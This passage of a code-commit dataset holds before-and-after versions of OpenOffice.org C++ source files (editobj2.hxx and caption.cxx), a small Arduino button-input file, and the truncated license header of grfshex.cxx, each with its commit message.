);\n\npublic:\n ~ContentInfo();\n\n const String& GetText() const { return aText; }\n const String& GetStyle() const { return aStyle; }\n const XEditAttributeList& GetAttribs() const { return aAttribs; }\n const SfxItemSet& GetParaAttribs() const { return aParaAttribs; }\n SfxStyleFamily GetFamily() const { return eFamily; }\n\n String& GetText() { return aText; }\n String& GetStyle() { return aStyle; }\n XEditAttributeList& GetAttribs() { return aAttribs; }\n SfxItemSet& GetParaAttribs() { return aParaAttribs; }\n SfxStyleFamily& GetFamily() { return eFamily; }\n\n WrongList* GetWrongList() const { return pWrongs; }\n void SetWrongList( WrongList* p ) { pWrongs = p; }\n\n LoadStoreTempInfos* GetLoadStoreTempInfos() const { return pTempLoadStoreInfos; }\n void CreateLoadStoreTempInfos();\n void DestroyLoadStoreTempInfos();\n\n\n};\n\ntypedef ContentInfo* ContentInfoPtr;\nSV_DECL_PTRARR( ContentInfoList, ContentInfoPtr, 1, 4 );\n\n\/\/ MT 05\/00: Sollte mal direkt EditTextObjekt werden => keine virtuellen Methoden mehr.\n\nclass BinTextObject : public EditTextObject\n{\nprivate:\n ContentInfoList aContents;\n SfxItemPool* pPool;\n BOOL bOwnerOfPool;\n XParaPortionList* pPortionInfo;\n\n ULONG nObjSettings;\n USHORT nMetric;\n USHORT nVersion;\n USHORT nUserType;\n USHORT nScriptType;\n\n BOOL bVertical;\n BOOL bStoreUnicodeStrings;\n\nprotected:\n void DeleteContents();\n virtual void StoreData( SvStream& rOStream ) const;\n virtual void CreateData( SvStream& rIStream );\n BOOL ImpChangeStyleSheets( const String& rOldName, SfxStyleFamily eOldFamily,\n const String& rNewName, SfxStyleFamily eNewFamily );\n\npublic:\n BinTextObject( SfxItemPool* pPool );\n BinTextObject( const BinTextObject& );\n virtual ~BinTextObject();\n\n virtual EditTextObject* Clone() const;\n\n USHORT GetUserType() const;\n void SetUserType( USHORT n );\n\n ULONG GetObjectSettings() const;\n void SetObjectSettings( ULONG n );\n\n BOOL IsVertical() const;\n void SetVertical( BOOL b );\n\n USHORT GetScriptType() const;\n void SetScriptType( USHORT nType );\n\n USHORT GetVersion() const; \/\/ Solange der Outliner keine Recordlaenge speichert\n void SetLRSpaceItemFlags( BOOL bOutlineMode );\n void AdjustImportedLRSpaceItems( BOOL bTurnOfBullets );\n\n ContentInfo* CreateAndInsertContent();\n XEditAttribute* CreateAttrib( const SfxPoolItem& rItem, USHORT nStart, USHORT nEnd );\n void DestroyAttrib( XEditAttribute* pAttr );\n\n ContentInfoList& GetContents() { return aContents; }\n const ContentInfoList& GetContents() const { return aContents; }\n SfxItemPool* GetPool() const { return pPool; }\n XParaPortionList* GetPortionInfo() const { return pPortionInfo; }\n void SetPortionInfo( XParaPortionList* pP )\n { pPortionInfo = pP; }\n\n virtual USHORT GetParagraphCount() const;\n virtual String GetText( USHORT nParagraph ) const;\n virtual void Insert( const EditTextObject& rObj, USHORT nPara );\n virtual EditTextObject* CreateTextObject( USHORT nPara, USHORT nParas = 1 ) const;\n virtual void RemoveParagraph( USHORT nPara );\n\n virtual BOOL HasPortionInfo() const;\n virtual void ClearPortionInfo();\n\n virtual BOOL HasOnlineSpellErrors() const;\n\n virtual BOOL HasCharAttribs( USHORT nWhich = 0 ) const;\n virtual void GetCharAttribs( USHORT nPara, EECharAttribArray& rLst ) const;\n\n virtual BOOL RemoveCharAttribs( USHORT nWhich = 0 );\n virtual BOOL RemoveParaAttribs( USHORT nWhich = 0 );\n\n virtual void MergeParaAttribs( const SfxItemSet& rAttribs, USHORT nStart, USHORT nEnd );\n\n virtual BOOL IsFieldObject() const;\n virtual const SvxFieldItem* GetField() const;\n virtual BOOL HasField( TypeId Type = NULL ) const;\n\n SfxItemSet GetParaAttribs( USHORT nPara ) const;\n void SetParaAttribs( USHORT nPara, const SfxItemSet& rAttribs );\n\n virtual BOOL HasStyleSheet( const XubString& rName, SfxStyleFamily eFamily ) const;\n virtual void GetStyleSheet( USHORT nPara, XubString& rName, SfxStyleFamily& eFamily ) const;\n virtual void SetStyleSheet( USHORT nPara, const XubString& rName, const SfxStyleFamily& eFamily );\n virtual BOOL ChangeStyleSheets( const XubString& rOldName, SfxStyleFamily eOldFamily,\n const String& rNewName, SfxStyleFamily eNewFamily );\n virtual void ChangeStyleSheetName( SfxStyleFamily eFamily, const XubString& rOldName, const XubString& rNewName );\n\n void CreateData300( SvStream& rIStream );\n\n BOOL HasMetric() const { return nMetric != 0xFFFF; }\n USHORT GetMetric() const { return nMetric; }\n void SetMetric( USHORT n ) { nMetric = n; }\n\n BOOL IsOwnerOfPool() const { return bOwnerOfPool; }\n void StoreUnicodeStrings( BOOL b ) { bStoreUnicodeStrings = b; }\n\n void PrepareStore( SfxStyleSheetPool* pStyleSheetPool );\n void FinishStore();\n void FinishLoad( SfxStyleSheetPool* pStyleSheetPool );\n};\n\n#endif \/\/ _EDITOBJ2_HXX\n\n<commit_msg>INTEGRATION: CWS impresspresobjs (1.6.140); FILE MERGED 2005\/12\/09 15:05:20 cl 1.6.140.1: #i58649# added operator== for undo in impress outline view<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: editobj2.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2006-01-10 14:47:14 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EDITOBJ2_HXX\n#define _EDITOBJ2_HXX\n\n#include <editobj.hxx>\n#include <editdoc.hxx>\n\n#include <vcl\/fontcvt.hxx>\n\n\nclass SfxStyleSheetPool;\n\nclass XEditAttribute\n{\n friend class ContentInfo; \/\/ fuer DTOR\n friend class BinTextObject; \/\/ fuer DTOR\n\nprivate:\n const SfxPoolItem* pItem;\n USHORT nStart;\n USHORT nEnd;\n\n XEditAttribute();\n XEditAttribute( const XEditAttribute& rCopyFrom );\n\n ~XEditAttribute();\n\npublic:\n XEditAttribute( const SfxPoolItem& rAttr );\n XEditAttribute( const SfxPoolItem& rAttr, USHORT nStart, USHORT nEnd );\n\n const SfxPoolItem* GetItem() const { return pItem; }\n\n USHORT& GetStart() { return nStart; }\n USHORT& GetEnd() { return nEnd; }\n\n USHORT GetStart() const { return nStart; }\n USHORT GetEnd() const { return nEnd; }\n\n USHORT GetLen() const { return nEnd-nStart; }\n\n inline BOOL IsFeature();\n\n inline bool operator==( const XEditAttribute& rCompare );\n};\n\ninline bool XEditAttribute::operator==( const XEditAttribute& rCompare )\n{\n return (nStart == rCompare.nStart) &&\n (nEnd == rCompare.nEnd) &&\n ( (pItem == rCompare.pItem) || (*pItem == *rCompare.pItem));\n}\n\ninline BOOL XEditAttribute::IsFeature()\n{\n USHORT nWhich = pItem->Which();\n return ( ( nWhich >= EE_FEATURE_START ) &&\n ( nWhich <= EE_FEATURE_END ) );\n}\n\ntypedef XEditAttribute* XEditAttributePtr;\nSV_DECL_PTRARR( XEditAttributeListImpl, XEditAttributePtr, 0, 4 );\n\nclass XEditAttributeList : public XEditAttributeListImpl\n{\npublic:\n XEditAttribute* FindAttrib( USHORT nWhich, USHORT nChar ) const;\n};\n\nstruct XParaPortion\n{\n long nHeight;\n USHORT nFirstLineOffset;\n\n EditLineList aLines;\n TextPortionList aTextPortions;\n};\n\ntypedef XParaPortion* XParaPortionPtr;\nSV_DECL_PTRARR( XBaseParaPortionList, XParaPortionPtr, 0, 4 );\n\nclass XParaPortionList : public XBaseParaPortionList\n{\n ULONG nRefDevPtr;\n OutDevType eRefDevType;\n MapMode aRefMapMode;\n ULONG nPaperWidth;\n\n\npublic:\n XParaPortionList( OutputDevice* pRefDev, ULONG nPW ) :\n aRefMapMode( pRefDev->GetMapMode() )\n {\n nRefDevPtr = (ULONG)pRefDev; nPaperWidth = nPW;\n eRefDevType = pRefDev->GetOutDevType();\n }\n\n ULONG GetRefDevPtr() const { return nRefDevPtr; }\n ULONG GetPaperWidth() const { return nPaperWidth; }\n OutDevType GetRefDevType() const { return eRefDevType; }\n const MapMode& GetRefMapMode() const { return aRefMapMode; }\n};\n\nstruct LoadStoreTempInfos\n{\n ByteString aOrgString_Load;\n\n FontToSubsFontConverter hOldSymbolConv_Store;\n BOOL bSymbolParagraph_Store;\n\n\n LoadStoreTempInfos() { bSymbolParagraph_Store = FALSE; hOldSymbolConv_Store = NULL; }\n};\n\nclass ContentInfo\n{\n friend class BinTextObject;\n\nprivate:\n String aText;\n String aStyle;\n XEditAttributeList aAttribs;\n SfxStyleFamily eFamily;\n SfxItemSet aParaAttribs;\n WrongList* pWrongs;\n\n LoadStoreTempInfos* pTempLoadStoreInfos;\n\n ContentInfo( SfxItemPool& rPool );\n ContentInfo( const ContentInfo& rCopyFrom, SfxItemPool& rPoolToUse );\n\npublic:\n ~ContentInfo();\n\n const String& GetText() const { return aText; }\n const String& GetStyle() const { return aStyle; }\n const XEditAttributeList& GetAttribs() const { return aAttribs; }\n const SfxItemSet& GetParaAttribs() const { return aParaAttribs; }\n SfxStyleFamily GetFamily() const { return eFamily; }\n\n String& GetText() { return aText; }\n String& GetStyle() { return aStyle; }\n XEditAttributeList& GetAttribs() { return aAttribs; }\n SfxItemSet& GetParaAttribs() { return aParaAttribs; }\n SfxStyleFamily& GetFamily() { return eFamily; }\n\n WrongList* GetWrongList() const { return pWrongs; }\n void SetWrongList( WrongList* p ) { pWrongs = p; }\n\n LoadStoreTempInfos* GetLoadStoreTempInfos() const { return pTempLoadStoreInfos; }\n void CreateLoadStoreTempInfos();\n void DestroyLoadStoreTempInfos();\n\n bool operator==( const ContentInfo& rCompare ) const;\n};\n\ntypedef ContentInfo* ContentInfoPtr;\nSV_DECL_PTRARR( ContentInfoList, ContentInfoPtr, 1, 4 );\n\n\/\/ MT 05\/00: Sollte mal direkt EditTextObjekt werden => keine virtuellen Methoden mehr.\n\nclass BinTextObject : public EditTextObject\n{\nprivate:\n ContentInfoList aContents;\n SfxItemPool* pPool;\n BOOL bOwnerOfPool;\n XParaPortionList* pPortionInfo;\n\n ULONG nObjSettings;\n USHORT nMetric;\n USHORT nVersion;\n USHORT nUserType;\n USHORT nScriptType;\n\n BOOL bVertical;\n BOOL bStoreUnicodeStrings;\n\nprotected:\n void DeleteContents();\n virtual void StoreData( SvStream& rOStream ) const;\n virtual void CreateData( SvStream& rIStream );\n BOOL ImpChangeStyleSheets( const String& rOldName, SfxStyleFamily eOldFamily,\n const String& rNewName, SfxStyleFamily eNewFamily );\n\npublic:\n BinTextObject( SfxItemPool* pPool );\n BinTextObject( const BinTextObject& );\n virtual ~BinTextObject();\n\n virtual EditTextObject* Clone() const;\n\n USHORT GetUserType() const;\n void SetUserType( USHORT n );\n\n ULONG GetObjectSettings() const;\n void SetObjectSettings( ULONG n );\n\n BOOL IsVertical() const;\n void SetVertical( BOOL b );\n\n USHORT GetScriptType() const;\n void SetScriptType( USHORT nType );\n\n USHORT GetVersion() const; \/\/ Solange der Outliner keine Recordlaenge speichert\n void SetLRSpaceItemFlags( BOOL bOutlineMode );\n void AdjustImportedLRSpaceItems( BOOL bTurnOfBullets );\n\n ContentInfo* CreateAndInsertContent();\n XEditAttribute* CreateAttrib( const SfxPoolItem& rItem, USHORT nStart, USHORT nEnd );\n void DestroyAttrib( XEditAttribute* pAttr );\n\n ContentInfoList& GetContents() { return aContents; }\n const ContentInfoList& GetContents() const { return aContents; }\n SfxItemPool* GetPool() const { return pPool; }\n XParaPortionList* GetPortionInfo() const { return pPortionInfo; }\n void SetPortionInfo( XParaPortionList* pP )\n { pPortionInfo = pP; }\n\n virtual USHORT GetParagraphCount() const;\n virtual String GetText( USHORT nParagraph ) const;\n virtual void Insert( const EditTextObject& rObj, USHORT nPara );\n virtual EditTextObject* CreateTextObject( USHORT nPara, USHORT nParas = 1 ) const;\n virtual void RemoveParagraph( USHORT nPara );\n\n virtual BOOL HasPortionInfo() const;\n virtual void ClearPortionInfo();\n\n virtual BOOL HasOnlineSpellErrors() const;\n\n virtual BOOL HasCharAttribs( USHORT nWhich = 0 ) const;\n virtual void GetCharAttribs( USHORT nPara, EECharAttribArray& rLst ) const;\n\n virtual BOOL RemoveCharAttribs( USHORT nWhich = 0 );\n virtual BOOL RemoveParaAttribs( USHORT nWhich = 0 );\n\n virtual void MergeParaAttribs( const SfxItemSet& rAttribs, USHORT nStart, USHORT nEnd );\n\n virtual BOOL IsFieldObject() const;\n virtual const SvxFieldItem* GetField() const;\n virtual BOOL HasField( TypeId Type = NULL ) const;\n\n SfxItemSet GetParaAttribs( USHORT nPara ) const;\n void SetParaAttribs( USHORT nPara, const SfxItemSet& rAttribs );\n\n virtual BOOL HasStyleSheet( const XubString& rName, SfxStyleFamily eFamily ) const;\n virtual void GetStyleSheet( USHORT nPara, XubString& rName, SfxStyleFamily& eFamily ) const;\n virtual void SetStyleSheet( USHORT nPara, const XubString& rName, const SfxStyleFamily& eFamily );\n virtual BOOL ChangeStyleSheets( const XubString& rOldName, SfxStyleFamily eOldFamily,\n const String& rNewName, SfxStyleFamily eNewFamily );\n virtual void ChangeStyleSheetName( SfxStyleFamily eFamily, const XubString& rOldName, const XubString& rNewName );\n\n void CreateData300( SvStream& rIStream );\n\n BOOL HasMetric() const { return nMetric != 0xFFFF; }\n USHORT GetMetric() const { return nMetric; }\n void SetMetric( USHORT n ) { nMetric = n; }\n\n BOOL IsOwnerOfPool() const { return bOwnerOfPool; }\n void StoreUnicodeStrings( BOOL b ) { bStoreUnicodeStrings = b; }\n\n void PrepareStore( SfxStyleSheetPool* pStyleSheetPool );\n void FinishStore();\n void FinishLoad( SfxStyleSheetPool* pStyleSheetPool );\n\n bool operator==( const BinTextObject& rCompare ) const;\n\n};\n\n#endif \/\/ _EDITOBJ2_HXX\n\n<|endoftext|>"} {"text":"<commit_before>\/*############################################################################################\n Garden System\n Wireless controller for watering electropumps\n\n Author: Daniele Colanardi\n License: BSD, see LICENSE file\n############################################################################################*\/\n\n#include <Wire.h>\n#include \"input.h\"\n\nLightMPR121 touch;\n\nvoid init_buttons() {\n\tWire.begin();\n touch.begin();\n}\n\nbool update_buttons() {\n touch.update();\n}\n\nbool is_pressed(uint8_t i) { return touch.touched(i); }\nbool released(uint8_t i) { return true; }\n<commit_msg>Add basic retriggering to input<commit_after>\/*############################################################################################\n Garden System\n Wireless controller for watering electropumps\n\n Author: Daniele Colanardi\n License: BSD, see LICENSE file\n############################################################################################*\/\n\n#include <Wire.h>\n#include \"input.h\"\n\nLightMPR121 touch;\nint last_status;\nlong repeat_timer;\nbool changed;\n\nvoid init_buttons() {\n\tWire.begin();\n touch.begin();\n}\n\nbool update_buttons() {\n int new_status = touch.update();\n\n changed = new_status != last_status;\n\n last_status = new_status;\n\n if (changed || millis() - repeat_timer > 150) {\n \trepeat_timer = millis();\n\t\tif(!changed) changed = true;\n }\n}\n\nbool is_pressed(uint8_t i) { return touch.touched(i) && changed; }\nbool released(uint8_t i) { return true; }\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: caption.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: os $ $Date: 2002-12-05 13:00:20 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifdef PRECOMPILED\n#include \"ui_pch.hxx\"\n#endif\n\n#pragma hdrstop\n\n#ifndef _TOOLS_DEBUG_HXX \/\/autogen\n#include <tools\/debug.hxx>\n#endif\n\n#include \"numrule.hxx\"\n#include \"caption.hxx\"\n\n#define VERSION_01 1\n#define CAPTION_VERSION VERSION_01\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::InsCaptionOpt(const SwCapObjType eType, const SvGlobalName* pOleId) :\n bUseCaption(FALSE),\n eObjType(eType),\n nNumType(SVX_NUM_ARABIC),\n nPos(1),\n nLevel(0),\n cSeparator('.'),\n bIgnoreSeqOpts(FALSE),\n bCopyAttributes(FALSE)\n{\n if (pOleId)\n aOleId = *pOleId;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::InsCaptionOpt(const InsCaptionOpt& rOpt)\n{\n *this = rOpt;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::~InsCaptionOpt()\n{\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt& InsCaptionOpt::operator=( const InsCaptionOpt& rOpt )\n{\n bUseCaption = rOpt.bUseCaption;\n eObjType = rOpt.eObjType;\n aOleId = rOpt.aOleId;\n sCategory = rOpt.sCategory;\n nNumType = rOpt.nNumType;\n sCaption = rOpt.sCaption;\n nPos = rOpt.nPos;\n nLevel = rOpt.nLevel;\n cSeparator = rOpt.cSeparator;\n bIgnoreSeqOpts = rOpt.bIgnoreSeqOpts;\n bCopyAttributes = rOpt.bCopyAttributes;\n\n return *this;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nBOOL InsCaptionOpt::operator==( const InsCaptionOpt& rOpt ) const\n{\n return (eObjType == rOpt.eObjType &&\n aOleId == rOpt.aOleId); \/\/ Damit gleiche Ole-IDs nicht mehrfach eingefuegt\n \/\/ werden koennen, auf nichts weiteres vergleichen\n\n\n\/* &&\n sCategory == rOpt.sCategory &&\n nNumType == rOpt.nNumType &&\n sCaption == rOpt.sCaption &&\n nPos == rOpt.nPos &&\n nLevel == rOpt.nLevel &&\n cSeparator == rOpt.cSeparator);*\/\n}\n\n\/*************************************************************************\n|*\n|* InsCaptionOpt::operator>>()\n|*\n|* Beschreibung Stream-Leseoperator\n|*\n*************************************************************************\/\n\nSvStream& operator>>( SvStream& rIStream, InsCaptionOpt& rCapOpt )\n{\n rtl_TextEncoding eEncoding = gsl_getSystemTextEncoding();\n UINT16 nVal;\n BYTE cVal;\n BYTE nVersion;\n\n rIStream >> nVersion;\n rIStream >> cVal; rCapOpt.UseCaption() = cVal != 0;\n rIStream >> nVal; rCapOpt.eObjType = (SwCapObjType)nVal;\n rIStream >> rCapOpt.aOleId;\n\n rIStream.ReadByteString( rCapOpt.sCategory, eEncoding );\n rIStream >> nVal; rCapOpt.nNumType = nVal;\n rIStream.ReadByteString( rCapOpt.sCaption, eEncoding );\n rIStream >> nVal; rCapOpt.nPos = nVal;\n rIStream >> nVal; rCapOpt.nLevel = nVal;\n\n rIStream >> cVal;\n rCapOpt.cSeparator = UniString( ByteString(cVal) , eEncoding).GetChar(0);\n\n return rIStream;\n}\n\n\/*************************************************************************\n|*\n|* InsCaptionOpt::operator<<()\n|*\n|* Beschreibung Stream-Schreiboperator\n|*\n*************************************************************************\/\n\nSvStream& operator<<( SvStream& rOStream, const InsCaptionOpt& rCapOpt )\n{\n rtl_TextEncoding eEncoding = gsl_getSystemTextEncoding();\n rOStream << (BYTE)CAPTION_VERSION\n << (BYTE)rCapOpt.UseCaption()\n << (UINT16)rCapOpt.eObjType\n << rCapOpt.aOleId;\n\n rOStream.WriteByteString( rCapOpt.sCategory, eEncoding );\n\n rOStream << (UINT16)rCapOpt.nNumType;\n\n rOStream.WriteByteString( rCapOpt.sCaption, eEncoding );\n\n BYTE cSep = ByteString(UniString(rCapOpt.cSeparator), eEncoding).GetChar(0);\n rOStream << (UINT16)rCapOpt.nPos\n << (UINT16)rCapOpt.nLevel\n << cSep;\n\n return rOStream;\n}\n\n\n<commit_msg>INTEGRATION: CWS os8 (1.2.138); FILE MERGED 2003\/04\/03 07:13:43 os 1.2.138.1: #108583# precompiled headers removed<commit_after>\/*************************************************************************\n *\n * $RCSfile: caption.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: vg $ $Date: 2003-04-17 15:17:00 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#pragma hdrstop\n\n#ifndef _TOOLS_DEBUG_HXX \/\/autogen\n#include <tools\/debug.hxx>\n#endif\n\n#include \"numrule.hxx\"\n#include \"caption.hxx\"\n\n#define VERSION_01 1\n#define CAPTION_VERSION VERSION_01\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::InsCaptionOpt(const SwCapObjType eType, const SvGlobalName* pOleId) :\n bUseCaption(FALSE),\n eObjType(eType),\n nNumType(SVX_NUM_ARABIC),\n nPos(1),\n nLevel(0),\n cSeparator('.'),\n bIgnoreSeqOpts(FALSE),\n bCopyAttributes(FALSE)\n{\n if (pOleId)\n aOleId = *pOleId;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::InsCaptionOpt(const InsCaptionOpt& rOpt)\n{\n *this = rOpt;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt::~InsCaptionOpt()\n{\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nInsCaptionOpt& InsCaptionOpt::operator=( const InsCaptionOpt& rOpt )\n{\n bUseCaption = rOpt.bUseCaption;\n eObjType = rOpt.eObjType;\n aOleId = rOpt.aOleId;\n sCategory = rOpt.sCategory;\n nNumType = rOpt.nNumType;\n sCaption = rOpt.sCaption;\n nPos = rOpt.nPos;\n nLevel = rOpt.nLevel;\n cSeparator = rOpt.cSeparator;\n bIgnoreSeqOpts = rOpt.bIgnoreSeqOpts;\n bCopyAttributes = rOpt.bCopyAttributes;\n\n return *this;\n}\n\n\/*--------------------------------------------------------------------\n Beschreibung:\n --------------------------------------------------------------------*\/\n\nBOOL InsCaptionOpt::operator==( const InsCaptionOpt& rOpt ) const\n{\n return (eObjType == rOpt.eObjType &&\n aOleId == rOpt.aOleId); \/\/ Damit gleiche Ole-IDs nicht mehrfach eingefuegt\n \/\/ werden koennen, auf nichts weiteres vergleichen\n\n\n\/* &&\n sCategory == rOpt.sCategory &&\n nNumType == rOpt.nNumType &&\n sCaption == rOpt.sCaption &&\n nPos == rOpt.nPos &&\n nLevel == rOpt.nLevel &&\n cSeparator == rOpt.cSeparator);*\/\n}\n\n\/*************************************************************************\n|*\n|* InsCaptionOpt::operator>>()\n|*\n|* Beschreibung Stream-Leseoperator\n|*\n*************************************************************************\/\n\nSvStream& operator>>( SvStream& rIStream, InsCaptionOpt& rCapOpt )\n{\n rtl_TextEncoding eEncoding = gsl_getSystemTextEncoding();\n UINT16 nVal;\n BYTE cVal;\n BYTE nVersion;\n\n rIStream >> nVersion;\n rIStream >> cVal; rCapOpt.UseCaption() = cVal != 0;\n rIStream >> nVal; rCapOpt.eObjType = (SwCapObjType)nVal;\n rIStream >> rCapOpt.aOleId;\n\n rIStream.ReadByteString( rCapOpt.sCategory, eEncoding );\n rIStream >> nVal; rCapOpt.nNumType = nVal;\n rIStream.ReadByteString( rCapOpt.sCaption, eEncoding );\n rIStream >> nVal; rCapOpt.nPos = nVal;\n rIStream >> nVal; rCapOpt.nLevel = nVal;\n\n rIStream >> cVal;\n rCapOpt.cSeparator = UniString( ByteString(cVal) , eEncoding).GetChar(0);\n\n return rIStream;\n}\n\n\/*************************************************************************\n|*\n|* InsCaptionOpt::operator<<()\n|*\n|* Beschreibung Stream-Schreiboperator\n|*\n*************************************************************************\/\n\nSvStream& operator<<( SvStream& rOStream, const InsCaptionOpt& rCapOpt )\n{\n rtl_TextEncoding eEncoding = gsl_getSystemTextEncoding();\n rOStream << (BYTE)CAPTION_VERSION\n << (BYTE)rCapOpt.UseCaption()\n << (UINT16)rCapOpt.eObjType\n << rCapOpt.aOleId;\n\n rOStream.WriteByteString( rCapOpt.sCategory, eEncoding );\n\n rOStream << (UINT16)rCapOpt.nNumType;\n\n rOStream.WriteByteString( rCapOpt.sCaption, eEncoding );\n\n BYTE cSep = ByteString(UniString(rCapOpt.cSeparator), eEncoding).GetChar(0);\n rOStream << (UINT16)rCapOpt.nPos\n << (UINT16)rCapOpt.nLevel\n << cSep;\n\n return rOStream;\n}\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: grfshex.cxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: hjs $ $Date: 2003-08-19 12:00:03 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR 